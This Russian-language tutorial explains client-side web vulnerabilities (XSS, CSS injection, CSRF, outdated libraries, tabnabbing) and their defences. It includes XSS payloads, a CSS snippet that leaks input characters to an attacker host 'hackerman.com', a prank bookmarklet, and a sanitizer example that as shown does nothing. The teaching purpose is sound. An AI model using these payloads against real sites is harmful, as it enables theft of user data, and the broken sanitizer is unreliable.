Мы часто слышим в новостях фразы «Хакеры атаковали», «Хакеры взломали», «Хакеры украли» и подобные. Как сообщают legaljobs, хакеры проводят 1 атаку в вебе каждые 32 секунды. По прогнозам cybercrime magazine, ущерб от киберпреступлений к 2025 году может составить $10,5 трлн против $3 трлн в 2015 году. Но почему у них получается произвести атаку и как это происходит?
Рассмотрим пять основных уязвимостей клиентской части веб-приложений, которые входят или входили до недавнего времени в список OWASP. Постараемся максимально простым языком и с примерами показать, как они работают, из-за чего возникают, а также поделимся инструментами и рекомендациями, как обезопасить себя, пользователя и свой продукт от возможного взлома. Кроме этого, расскажем, какими знаниями, по нашему мнению, должен обладать frontend-разработчик, чтобы не попасть впросак.
Статья будет полезна frontend-разработчикам, которые хотят познакомиться с основными видами уязвимостей на клиенте и методами защиты от них, backend-разработчикам для лучшего понимания взаимодействия с клиентом в ключе безопасности, а также владельцам продуктов, которые заботятся о безопасности своих пользователей, и всем тем, кто искал повод «никогда больше не быть онлайн».
«Дыры в безопасности»: возможные последствия для бизнеса
Первое – испорченный UI.
Несмотря на то, что в этом случае данные пользователей не компрометируются, испорченный UI может привести к огромным потерям для бизнеса. Представьте, сколько может потерять крупный маркетплейс, если сайтом нельзя будет пользоваться хотя бы в течение пары часов. Когда мы говорим, «невозможно пользоваться», имеем в виду не плохо спроектированный UI, а его уязвимость. Воспользовавшись этим, хакер может сделать так, чтобы кнопка подтверждения оплаты товара будет «убегать» от пользователя.
В конце статьи приведем пример скрипта, который можно запустить у себя в браузере и посмотреть, как он влияет на UI. Сразу предупредим, чтобы вы не волновались, это просто шутка, которая была популярна несколько лет назад. Она никак не затронет ваши конфиденциальные данные, а эффект исчезнет сразу после перезагрузки страницы.
Второе – отслеживание активности пользователя.
В этом случае данные, может, и не будут украдены, но хакер будет знать всё, что искал пользователь, и на каких ресурсах. Таким образом может быть скомпрометирована конфиденциальная информация. Например, если на такую уязвимость попался банковский служащий с корпоративной учетки.
Третье – замедление работы приложений.
Подобный эффект может критически сказаться на приложениях для банковского сектора и привести к финансовым потерям, например, из-за несвоевременного обновления курса.
Четвертое – хищение конфиденциальных данных пользователя.
Очевидно, что подобный сценарий с высокой долей вероятности приведет к утрате доверия пользователей к ресурсу.
Врага нужно знать в лицо: ТОП-5 веб-уязвимостей
№ 1. XSS (Cross-Site Scripting или межсайтовый скриптинг)
Эта уязвимость заключается во внедрении вредоносного кода в веб-страницу и последующим исполнением этого кода в браузере пользователя.
В качестве примера скрипта будем использовать обычный alert(), поскольку если браузер выполнит наш alert, значит он способен выполнить любой другой скрипт.
Отдельно отметим, что этот пример мы используем исключительно для наглядности - мы точно увидим окно сообщения, если скрипт отработает. Боевые вредоносные скрипты, как правило, отрабатывают в фоне и незаметны для пользователя. Иными словами, он даже не заметит, как у него украли данные.
Как это происходит?
Для эксперимента возьмем обычную тудушку на чистом JS для соблюдения стерильных лабораторных условий. Допустим, у нас есть такой шаблон для элемента списка:
export const template = (id, title, description, imageURL) => `
<li id="${id}" class="list__item item">
<div class="item__info">
<h1 class="item__title">${title}</h1>
<p class="item__description">
${description}
</p>
</div>
<img
class="item__image"
src="${imageURL}"
alt="some picture"
/>
</li>
`;
Предполагается, что с сервера нам приходят некоторые id, title, description и imageURL. Если присмотреться, шаблон завернут в бэктики – кавычки шаблонной строки, предназначенные для динамической вставки значений. Это значит, что разработчик, скорее всего, будет использовать один из методов вставки контента: innerHTML или insertAdjacentHTML. Они удобны – при добавлении в DOM они парсят любую строку как HTML. В этом случае уже не нужно использовать методы в стиле createElement, append. Можно просто взять строку, использовать innerHTML или insertAdjacentHTML и получить на выходе кусок готового HTML.
Быстро, удобно, но, к сожалению, небезопасно. Почему? Давайте разбираться.
Посмотрим на пример куска JSON, который мы ожидаем от сервера:
{
"id": 1,
"title": "React",
"description": "A JavaScript library for building user interfaces",
"imageURL": "https://reactjs.org/react-logo.jpg"
},
Не всегда наши ожидания соответствуют реальности. В ответе может присутствовать следующая конструкция:
{
"id": 1,
"title": "React",
"description": "A JavaScript library for building user interfaces",
"imageURL": "https://reactjs.org/react-logo.jpg\" onload='alert(1)'"
},
Символ \“
используется для того, чтобы “разбить” строку в JSON на 2 строки: одна – с URL картинки, другая будет содержать атрибут onload со вписанным в него скриптом.
В результате наш шаблон вернет следующую конструкцию:
<li id="${id}" class="list__item item">
<div class="item__info">
<h1 class="item__title">${title}</h1>
<p class="item__description">
${description}
</p>
</div>
<img
class="item__image"
src="${imageURL}" onload='alert(1)'”
alt="some picture"
/>
</li>
Этот скрипт отработает сразу при загрузке страницы, поскольку атрибут onload как раз предназначен для этого. Его можно классифицировать как Stored (хранимые) XSS. Их особенность в том, что они отрабатывают сразу при загрузке страницы и не требуют действия пользователя, в отличие от следующего подвида XSS – Reflected (отраженные) XSS. Это означает, что для исполнения вредоносного кода потребуется действие пользователя, например, клик по элементу страницы.
Рассмотрим на примере ссылки:
<a
href="http://site.com?page=1&run=<script>alert(1)</script>"
>
click me!
</a>
Это условный пример. В таком виде скрипт, естественно, не отработает, мы привели его для наглядности. В реальном кейсе ссылка будет иметь абсолютно иной вид. Если всмотреться в атрибут href, содержащий адрес, по которому будет произведен переход, можно увидеть script
и alert
. А конструкции <
и >
– это спецсимвольное представление открывающих и закрывающих скобок HTML-тегов (< и > соответственно). Таким образом, вредоносный код может быть встроен в вашу страницу и отработать в соответствии с той логикой, которая там прописана.
В боевом виде таких подсказок в виде слов script
не будет. Скорее всего, это будет зашифровано в какой-нибудь id или любой другой query-параметр. Поэтому распознать обман будет непросто.
В большинстве случаев такие ссылки приходят через e-mail или социальные сети и сопровождаются письмом в стиле «Вы выиграли в лотерее, пройдите по ссылке и заполните ваши данные, чтобы мы смогли с вами связаться». Конечно, для совершеннолетнего человека обман очевиден, но если что-то подобное увидит ребенок – вероятность слива данных многократно возрастет.
Бывают и более «изобретательные» хакеры, которые делают ставку, например, на возрастных работников малого бизнеса. Скажем, бухгалтеру может прийти письмо с текстом: «Изменения в законодательстве касаемо ведения квартальных отчетов. Перейдите по ссылке и ознакомьтесь с ними. За несоблюдение вновь установленных правил ведения отчетов полагается штраф в размере ХХХ рублей». И хоть большинство сотрудников знают, что нужно обращаться только к официальной документации, тем не менее риск и человеческий фактор всегда могут сыграть свою роль. Никогда не забывайте о том, что хакеры очень хорошо владеют навыком социальной инженерии.
Как можно защититься от этого?
Поскольку пользователь – всегда слабое звено в такой ситуации и риск человеческого фактора сохраняется, рассмотрим, что может сделать разработчик, чтобы обезопасить веб-приложение.
Как мы уже упоминали, innerHTML и insertAdjacentHTML – очень удобные методы, но, к сожалению, небезопасные. Альтернативой могут послужить innerText и TextContent. Они превратят все в текст и контент, вставляемый в DOM, не будет восприниматься браузером как HTML. Главный недостаток – эти методы подходят исключительно для вставки статичного текста, т.е. о динамике на странице можно забыть.
Что еще может использовать разработчик?
Ответ – инструменты санитизации. Санитизация – это процесс «очистки» кода от вредоносных или подозрительных участков.
Конечно, можно попробовать самому написать функции очистки, и будет выглядеть это примерно так:
export const stringSanitizer = string => {
const targetValues = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return string.replace(/[&<>"'/]/g, match => targetValues[match]);
};
Перед вставкой контент прогоняется через самописную функцию очистки, где все опасные символы заменяются на их специальное символьное представление, что не позволит хакеру, например, закрыть скобку тега или кавычку в атрибуте. Это неплохой вариант, но скажем честно, для продакшена слабовато.
Попробуем воспользоваться специальной библиотекой-санитайзером на примере DOM Purify. Допустим, у нас есть конструкция:
<img src=”https://some-site.com/picture.jpg” onload=”alert(‘Message!’)”>
Как мы видим, тут есть уже знакомый нам «подозрительный» код в атрибуте onload. Однако, что будет, если мы используем наш санитайзер?
DOMPurify.sanitize('
<img src=”https://some-site.com/picture.jpg”
onload=”alert(1)”>
');
В результате получим <img src=”https://some-site.com/picture.jpg”>
Мы видим, что DOM Purify просто убрал атрибут onload
вместе со вписанным в значение кодом.
Логично, что не во всех случаях требуется отсекать весь код, который библиотека посчитает вредоносным или подозрительным. Иногда от него зависит определенный функционал в приложении, и просто завернув все в этот метод, можно “убить” половину функционала.
На этот случай, метод sanitize
принимает необязательный второй аргумент – объект настроек. В нем можно указать, что библиотека должна пропускать, а что должна отсекать:
DOMPurify.sanitize(value, {ALLOWED_TAGS: ['b'], ALLOWED_ATTR: ['style']});
Здесь value – входное, неочищенное значение, ALLOWED_TAGS – ключ, отвечающий за то, какие теги должны быть пропущены, ALLOWED_ATTR – какие атрибуты тегов должны быть пропущены.
С полным списком настроек можно ознакомиться тут.
Content Security Policy (далее CSP) – еще один способ защиты. На наш взгляд, из самых мощных.
Изначально CSP могла использоваться только как заголовок ответа сервера, но несколько лет назад разработчики добавили возможность проставлять ее как мета-тег в шапке HTML. Выглядит это примерно так:
<meta
http-equiv="Content-Security-Policy"
content="
default-src 'none';
script-src 'self';
connect-src 'self' https://*.friendly-site.com;
style-src 'self';
img-src 'self' too.friendly.com;
"
/>
CSP по сути – это белый список того, что может использовать в работе ваше приложение. Каждая из директив отвечает за то, какие могут быть источники:
script-src
– за список источников, из которых могут загружаться и выполняться скриптыstyle-src
– за подгружаемые стилиimg-src
– за ресурс для загрузки картинок
Отдельно стоит сказать о default-src
– эта директива говорит о том, какой может быть источник сущности, которая не прописана в списке директив. Например, в нашем случае отсутствует директива font-src
, отвечающая за загрузку шрифтов. В этом случае шрифты будут подгружаться только с тех ресурсов, которые обозначены в default-src
.
Таким образом, если мы попытаемся воспроизвести наш пример, описанный выше, то inline-script не отработает, поскольку директива script-src не содержит значение unsafe-inline. Кроме того, начиная со 2-й версии CSP, появилась возможность подписывать скрипты с помощью ключевого слова nonce. Оно содержит в себе хеш, и скрипты выполняются только тогда, когда хеш сошелся с тем, что прописан в CSP.
Как показывает наша практика, Content Security Policy – очень мощный инструмент защиты с множеством настроек. Со всем списком директив и значений вы можете ознакомиться здесь
№2. CSS Injection – внедрение вредоносного файла стилей в проект
Если вы думаете, что единственная угроза, которую в себе несут вредоносные стили – это изменение цветовой гаммы приложения, вы сильно ошибаетесь. На практике такой файл может стать причиной утечки конфиденциальной информации.
Предположим, вы собираетесь совершить платежную операцию. Зачастую для удобства данные банковской карты мы храним в браузере или непосредственно в приложении. Единственное, что нас просят сделать в таких случаях – подтвердить платеж с помощью CVV/CVC кода. Вопрос: есть ли способы украсть этот код с помощью файла стилей? Ответ – конечно есть! Но как?
Если у хакера есть возможность подключить свой файл стилей к проекту, то в нем вполне могут содержаться следующие условия:
input[value^='0'] {
background-image: url('http://hackerman.com?value=%10');
}
#input[value^='1'] {
background-image: url('http://hackerman.com?value=%11');
}
#input[value^='2'] {
background-image: url('http://hackerman.com?value=%12');
}
#input[value^='3'] {
background-image: url('http://hackerman.com?value=%13');
}
...
Как это работает? С помощью #
находим элемент на странице по его id (нас интересует некое поле ввода), а в квадратных скобках пишем условие, при котором должен применяться стиль – когда содержимое #input
будет содержать тот или иной символ. Поскольку из CSS мы можем совершать запросы (например, запрашивать картинку для фона), хакер расставляет условия для каждой клавиши и с помощью таких запросов может формировать у себя коллекцию значений, которую вводил в поле пользователь, ориентируясь на то, какие запросы к нему приходят.
Есть демо, в котором можно наглядно посмотреть, как это работает.
Открыв инструменты разработчика, также есть вероятность увидеть следующую картину:
Защититься от такого вида атаки поможет директива style-src Content Security Policy. Её мы описали в пункте про XSS.
№ 3. CSRF (Cross Site Request Forgery или межсайтовая подделка запроса)
Это вид уязвимости, когда сервер не может понять, откуда пришел запрос – от реального пользователя или от хакера. Возникает она по той причине, что браузер автоматически цепляет cookie пользователя к HTTP-запросам. А cookie, в свою очередь, используются для управления пользовательской сессией в приложении.
Казалось бы, при чем тут frontend, если это, очевидно, серверная проблема? Ведь сервер не может различить запрос. Но не все так просто.
Хоть проблема и серверная, любой разработчик, вовлеченный в процесс, должен понимать, что от итогового ИТ-продукта будет зависеть репутация команды и компании. Важно, чтобы у каждого участника было понимание общей ответственности. И даже если это разработчик клиентской части, он должен понимать, как можно помочь серверу определить, что запрос пришел действительно от него.
От данной атаки существует множество способов защиты.
Первый – верификация действия с помощью пароля или секретного слова. Самый очевидный пример – подтверждение платежной операции с помощью кода CVV/CVC. Вероятно, он вам уже не нравится, учитывая то, что мы видели в пункте про CSS Injection, хотя вариант вполне рабочий.
Второй – использование специального CSRF-токена. Суть метода в том, что на сервере генерируется специальный токен, который вставляется в DOM страницы и отправляется вместе с формой. Таким образом, сервер сначала проверяет валидность токена и только при условии, что он верный – выполняет запрос. Также токен можно прикреплять к заголовку запроса или к кукам.
Пример простейшей формы:
<form>
<label for="name">Имя:</label>
<input type="text" id="name" name="name">
<label for="lastname">Фамилия:</label>
<input type="text" id="lastname" name="lastname">
<label for="email">E-mail:</label>
<input type="text" id="email" name="email">
<button>Отправить</button>
</form>
А если мы подставим CSRF-токен, она должна выглядеть так:
<form>
<label for="name">Имя:</label>
<input type="text" id="name" name="name">
<label for="lastname">Фамилия:</label>
<input type="text" id="lastname" name="lastname">
<label for="email">E-mail:</label>
<input type="text" id="email" name="email">
<input type="hidden" value="%csrfToken%"> // здесь %csrfToken% заменяется на значение токена
<button>Отправить</button>
</form>
Интересный факт: некоторые криптовалютные трейдеры намеренно предоставляли хакерам свои данные защиты от CSRF и платили им за услугу покупки от их имени ценных активов. Дело в том, что до 2022 года на крупнейшей криптобирже Binance проводились сейлы NFT и Mystery Box по принципу “кто первый”. На продажу выставлялось разное количество NFT, но даже если их было около 20 тысяч, торги заканчивались буквально за доли секунды. Связано это с тем, что хакеры отправляли запрос на сервер Binance в обход клиентской стороны сайта в автоматическом режиме сразу на старте торгов. Поскольку клиентская сторона могла выдавать ошибки из-за большого наплыва пользователей и просто не справлялась с нагрузкой или сильно подвисала. Таким образом, пользователи площадки превратили эту уязвимость в собственное преимущество. Позже Binance изменил правила торгов, что сделало такую технику, по сути, бесполезной. У каждого пользователя появилась возможность поучаствовать в торгах «на равных».
Один из важных параметров токена – время его жизни. Если злоумышленник смог перехватить токен, в его распоряжении будет лишь время, равное времени жизни украденного токена. После его устаревания пользователь будет либо повторно отправлен на страницу авторизации, либо, если это заложено архитектурой, устаревший токен будет обновлен (например, с помощью refresh-токена), и злоумышленник более не сможет воспользоваться украденным токеном. Поэтому следует грамотно продумать способ хранения и передачи токена, выдаваемого сервером.
Третий – ассоциация с IP-адресов авторизованного пользователя. После успешной авторизации в payload токена можно положить какие-то однозначно идентифицирующие сведения о пользователе, например, его IP.
Четвертый – грамотно подобранный метод шифрования. Они бывают разные. В качестве примера можно привести RS256, предполагающий использование двух ключей: приватного и публичного. Приватный участвует в шифровании токена и не передается клиентом, а публичный представляет собой инструмент для расшифровки, а потому перехват злоумышленником публичного ключа ничего не даст.
Пятый – архитектура. Сервис авторизации можно обособить, реализовав его в виде отдельного сервера авторизации. Такой подход позволит не только дополнительно декомпозировать инфраструктуру, но и применить более строгую политику безопасности (протокол, особые настройки веб-сервера и т.п.) именно для этого сервера.
Пример такой архитектуры проиллюстрирован ниже.
Не стоит забывать, что одной из причин возникновения CSRF может стать уже знакомая нам XSS.
Существует еще несколько способов обхода защиты от CSRF, о которых можете почитать здесь. К сожалению, frontend-разработчик тут бессилен, поскольку они могут быть связаны как с особенностями функционала приложения, так и с работой браузеров.
№ 4. Vulnerable & outdated components (уязвимые или неподдерживаемые компоненты) – библиотеки и утилиты
В последнее время остро встал вопрос о внедрении вредоносного кода в популярные библиотеки. К сожалению, мы видим много примеров того, как те или иные библиотеки попадают в списки с высоким уровнем риска. Зачастую разработчик не может исправить код, который предоставляет библиотека. Однако он почти всегда может обратиться к безопасным альтернативам.
Избежать неловких ситуаций, связанных с использованием общедоступных библиотек, несложно. Для этого нужно проверить:
надежность источников. Это хорошая практика, поскольку если вы подключаете библиотеку из недоверенного источника или из источника без шифрования – велик риск получить неприятное «дополнение» к этой библиотеке от хакера.
актуальность версий библиотек. Хакеры постоянно находятся в поиске лазеек в старых версиях. Более новая версия – не всегда более безопасная. Однако вероятность того, что хакеры взломали последнюю версию существенно ниже, чем у версии, вышедшей, например, полгода – год назад.
сами библиотеки на наличие уже выявленных уязвимостей. Проверку библиотек можно легко провести на ресурсе SNYK – это платформа, которая предоставляет разработчикам возможность проверять код и зависимости на наличие уязвимостей.
При необходимости – всегда можно найти альтернативу. Как правило, существует огромное количество библиотек, которые помогают выполнять одни и те же или схожие задачи. Одна из них может содержать уязвимости, а вторая – быть безопасной. Примером могут послужить библиотеки crypto-js и simple-crypto-js, с которыми мы столкнулись на практике на одном из проектов. Согласно данным snyk, до 2019 года simple-crypto-js содержала уязвимости среднего уровня, в то время как crypto-js была безопасной.
№ 5. Unvalidated redirects & forwards – невалидные перенаправления
В большинство современных браузеров уже встроена защита от этой уязвимости .Однако, как показывает практика, не все пользователи своевременно обновляют свои браузеры, поэтому эта уязвимость все еще может быть актуальной, хоть уже и не входит в OWASP Top-10.
Из-за чего же они могут происходить?
Рассмотрим на примере. Предположим, что в приложении необходимо реализовать функционал перехода по ссылкам на сторонние ресурсы. Разработчик, думая, что ему может прийти ссылка на небезопасный/незащищенный ресурс, решил перестраховаться и формирует следующий шаблон для ссылки:
<a href=`${some_url}` target="_blank">Ссылка</a>
Атрибут target
со значением «_blank»
сообщает браузеру о том, что ссылку необходимо открыть в новой вкладке. На первый взгляд может показаться, что открытие ссылки в другой вкладке может помочь обезопасить исходный сайт от атак. Но не все так просто. На самом деле, когда ссылка открывается в новой вкладке таким образом, она получает информацию об источнике из window.opener.location
и частичный контроль над ним. Зная это, хакер может подменить источник – сделать перенаправление из исходного сайта на сайт мошенника. По сути, это одна из разновидностей фишинговых атак.
Как frontend-разработчик может защитить пользователя от такой атаки?
Первый способ используется в достаточно большом количестве приложений, в том числе и в тех, что разрабатываем мы. Он заключается в том, что ссылку можно открывать через пустую страницу, на которой отрабатывается скрипт
window.opener = null;
Второй способ – использование дополнительного атрибута rel у ссылок. Ему можно задать следующие значения:
rel = `noopener noreferrer nofollow`
noopener – присваивает значение null в window.opener
noreferrer – запрещает передавать HTTP-заголовки или просто запрещает передавать информацию об источнике
nofollow – скорее относится к вопросу SEO, однако, запрещает поисковым роботам связывать вашу страницу с той, на которую был совершен переход.
Применять такой подход можно в проектах, где нет строгих требований к значениям атрибута rel. Например, социальные сети будут лучше взаимодействовать с ресурсом, если ссылка на него определена с помощью этого атрибута. Так что, вероятно, этот способ в данном случае будет не лучшим выбором.
Пример использования этого метода вы можете увидеть в одной из самых популярных библиотек JS – React. При первом старте реакт-приложения, созданного с помощью create-react-app, на главной странице мы видим ссылку «Learn React», в коде же она выглядит следующим образом:
<a
className="App-link"
href="https://reactjs.org"
target="_blank"
rel="noopener noreferrer"
>
Learn React
</a>
Заключение
Справедливости ради, стоит сказать, что большинство современных фреймворков и библиотек уже имеет встроенные механизмы защиты от уязвимостей (Angular, например, использует под капотом sanitize.js). По этой причине, часто тема безопасности обходится frontend-разработчиками стороной.
Конечно, защита выстраивается преимущественно на стороне сервера, что логично, ведь именно там хранятся конфиденциальные данные пользователей и именно серверная сторона отправляет на клиентскую HTTP-заголовки безопасности, у которых функционал гораздо шире, чем тот, что можно выстроить на фронтенде. Но, по нашему мнению, frontend-разработчику никогда не будет лишним знание и понимание базовых механизмов защиты.
Надеемся, статья была вам полезна!
Делимся примерами из практики:
Некоторые из наших кейсов можно найти тут.
P.S. Как и обещали, приводим пример скрипта, который наглядно показывает, как вредоносный скрипт может повлиять на UI приложения так, что им невозможно будет пользоваться. Запустите этот скрипт в консоли, например, на сайте youtube. Осторожно, присутствует звуковая дорожка:)
Пример скрипта
javascript:(function(){function c(){var e=document.createElement("link");e.setAttribute("type","text/css");e.setAttribute("rel","stylesheet");e.setAttribute("href",f);e.setAttribute("class",l);document.body.appendChild(e)}function h(){var e=document.getElementsByClassName(l);for(var t=0;t<e.length;t++){document.body.removeChild(e[t])}}function p(){var e=document.createElement("div");e.setAttribute("class",a);document.body.appendChild(e);setTimeout(function(){document.body.removeChild(e)},100)}function d(e){return{height:e.offsetHeight,width:e.offsetWidth}}function v(i){var s=d(i);return s.height>e&&s.height<n&&s.width>t&&s.width<r}function m(e){var t=e;var n=0;while(!!t){n+=t.offsetTop;t=t.offsetParent}return n}function g(){var e=document.documentElement;if(!!window.innerWidth){return window.innerHeight}else if(e&&!isNaN(e.clientHeight)){return e.clientHeight}return 0}function y(){if(window.pageYOffset){return window.pageYOffset}return Math.max(document.documentElement.scrollTop,document.body.scrollTop)}function E(e){var t=m(e);return t>=w&&t<=b+w}function S(){var e=document.createElement("audio");e.setAttribute("class",l);e.src=i;e.loop=false;e.addEventListener("canplay",function(){setTimeout(function(){x(k)},500);setTimeout(function(){N();p();for(var e=0;e<O.length;e++){T(O[e])}},15500)},true);e.addEventListener("ended",function(){N();h()},true);e.innerHTML=" <p>If you are reading this, it is because your browser does not support the audio element. We recommend that you get a new browser.</p> <p>";document.body.appendChild(e);e.play()}function x(e){e.className+=" "+s+" "+o}function T(e){e.className+=" "+s+" "+u[Math.floor(Math.random()*u.length)]}function N(){var e=document.getElementsByClassName(s);var t=new RegExp("\\b"+s+"\\b");for(var n=0;n<e.length;){e[n].className=e[n].className.replace(t,"")}}var e=30;var t=30;var n=350;var r=350;var i="//s3.amazonaws.com/moovweb-marketing/playground/harlem-shake.mp3";var s="mw-harlem_shake_me";var o="im_first";var u=["im_drunk","im_baked","im_trippin","im_blown"];var a="mw-strobe_light";var f="//s3.amazonaws.com/moovweb-marketing/playground/harlem-shake-style.css";var l="mw_added_css";var b=g();var w=y();var C=document.getElementsByTagName("*");var k=null;for(var L=0;L<C.length;L++){var A=C[L];if(v(A)){if(E(A)){k=A;break}}}if(A===null){console.warn("Could not find a node of the right size. Please try a different page.");return}c();S();var O=[];for(var L=0;L<C.length;L++){var A=C[L];if(v(A)){O.push(A)}}})()